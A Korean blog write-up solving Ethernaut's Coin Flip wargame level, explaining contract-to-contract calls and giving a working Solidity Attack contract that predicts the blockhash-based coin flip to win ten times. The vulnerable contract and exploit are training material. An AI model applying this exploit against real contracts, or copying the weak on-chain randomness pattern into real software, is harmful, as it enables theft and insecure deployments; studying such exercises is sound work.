본문 바로가기
Write Up/Ethernaut - 블록체인 워게임

Ethernaut - 3단계 (Coin Flip)

by p6rkdoye0n 2023. 11. 7.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

 

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

  Things that might help

See the "?" page above in the top right corner menu, section "Beyond the console"

 

 

Ethernaut 3단계 문제이다. consecutiWins++의 값을 10으로 바꿀 수 있도록 flip의 결과를 맞히는 그러한 문제이다.

 

uint256 blockValue = uint256(blockhash(block.number - 1));

 

 

blockValue를 이전 블록 넘버의 해쉬값으로 랜더마이징 하는 과정을 거친다. 즉 이 부분이 난수로 해당 값으로 flip 함수의 값이 때에 따라 달라질 것이다.

 

 uint256 coinFlip = blockValue / FACTOR;
 bool side = coinFlip == 1 ? true : false;

 

 

그 이후에는 FACTOR 값으로 blockValue 값을 나누어주고 해당 값이 1인지 아닌지 확인을 한 뒤에 side 값에 boolean 값을 집어 넣어준다.

 

if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }

 

그리고 이후에 해당 값과 flip 함수의 파라미터로 전달한 값과 비교하여 성공여부를 판단한다.

 

해당 문제의 익스플로잇 코드를 다른 write-up 따라하며 문제를 풀었을 당시 이해가 잘 안 됐기에 익스플로잇 코드를 짜기 전에 필요한 사전 지식에 대해서 말해보고자 한다.


 

1. EOA (Externally Owned Accounts)와 CA (Contract Accounts) 란 ?

우선 EOA란 ' 외부 소유 어카운트로서 개인 키에 의해 통제되는 계정 정보'이며, 간단한 예로 들면 Metamask가 있다. 우리는 EOA(Metamask에서의 지갑)를 생성하면 주소(address)와 개인키(private key)를 발급 받는다. Metamask를 써보면 알겠지만 지갑을 생성하면 개인키를 주고 그걸 꼭꼭 숨기고 보관하라고 한다. 그러면 해당 EOA는 개인키를 가진 사람만 접근할 수 있도록 설계되어있다.

 

그다음 CA란 ' 컨트랙트 코드에 의해 통제되는 계정'으로, 우리가 remix를 사용해서 코드를 만들고 컴파일 한 뒤에 deploy 시키고 만들어진 contract를 CA라고 한다.

 


 

2. 다른 CA를 통해서  컨트랙트의 함수를 호출하는 법 (Ethernaut 2단계 문제 참고)

Ethernaut 2단계 문제를 CA를 통해서 풀어보도록 하겠다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

 

내 'Ethernaut - 2단계 (Fallout)' 글을 읽어봤으면 알겠지만 간단히 Fal1out 함수를 호출하면 끝나는 문제이다. 해당 문제의 코드를 다음과 같이 변형하고 At Address에 인스턴스의 주소를 넣어주면 어떻게 되는지 확인해보았다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Fallout {

  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    /**/
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    /**/
  }

  function sendAllocation(address payable allocator) public {
    /**/
  }

  function collectAllocations() public onlyOwner {
    /**/
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    /**/
  }
}

 

모든 함수의 내용을 없애주고 At Address에 인스턴스의 주소를 넣어주고 디플로이를 해보았다.

 

 

 

그러더니 함수들을 사용할 수 있게되었고 해당 함수의 기능을 없앤 상태로 컴파일 시켰지만, 코드 그대로의 기능이 동작되는 것을 알 수 있었다.

 

즉, 우리는 CA를 통해서 로컬로 코드를 만들고 컴파일 한 뒤에 At Address를 통한 디플로이는 함수명만 해당 인스턴스로 로컬에서 요청을 보내는 과정인 것을 알 수 있었다.

 

 

즉 콘솔에서 보내는 요청 그대로를 CA를 통해서 할 수 있다. (이해가 됐을라나..)

 


자 이제 공격 시나리오를 생각해보도록 하겠다. 외부 스마트컨트랙트를 호출할 수 있는 방법은 총 2가지가 있다. EOA를 통한 호출과 다른 CA를 통한 호출이다.

 

만약 EOA를 통해서 호출한다고 가정해보면 해당 컨트랙트를 호출할 때 과정은 굉장히 복잡하다.

 

그렇다면 다른 CA를 통해서 호출하는 방법을 생각해봐야한다. 다른 CA를 통해서 호출하면 CoinFlip 컨트랙트를 호출할 때의 시간과 다른 CA를 통해 호출한 시간대가 같기 때문에 이전 블록 넘버를 가지고 하는 연산 (나름 랜더마이징 시킨 값)을 그대로 맞힐 수 있다.

uint256 blockValue = uint256(blockhash(block.number - 1));

 

그렇다면 side의 값도 알 수 있게 되고 side 값을 그대로 flip 함수의 인자로 넣어주게 된다면 백발백중 값을 맞힐 수 있게 될 것이다.

 

그렇다면 remix를 이용하여 익스플로잇을 진행해보도록 하겠다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract Attack {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function attack() public {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    CoinFlip(0x638925270D9E9D6012f53363cc988621634D30c6).flip(side);
  }
}

 

이렇게 하면 side 값을 그대로 알 수 있게 되고 알맞는 인자를 전달할 수 있게 된다.

 

그리고 해당 attack 함수를 총 10번 호출하면 된다.

 

 


 

 

최종적으로 문제를 풀 수 있었다.

 

🚩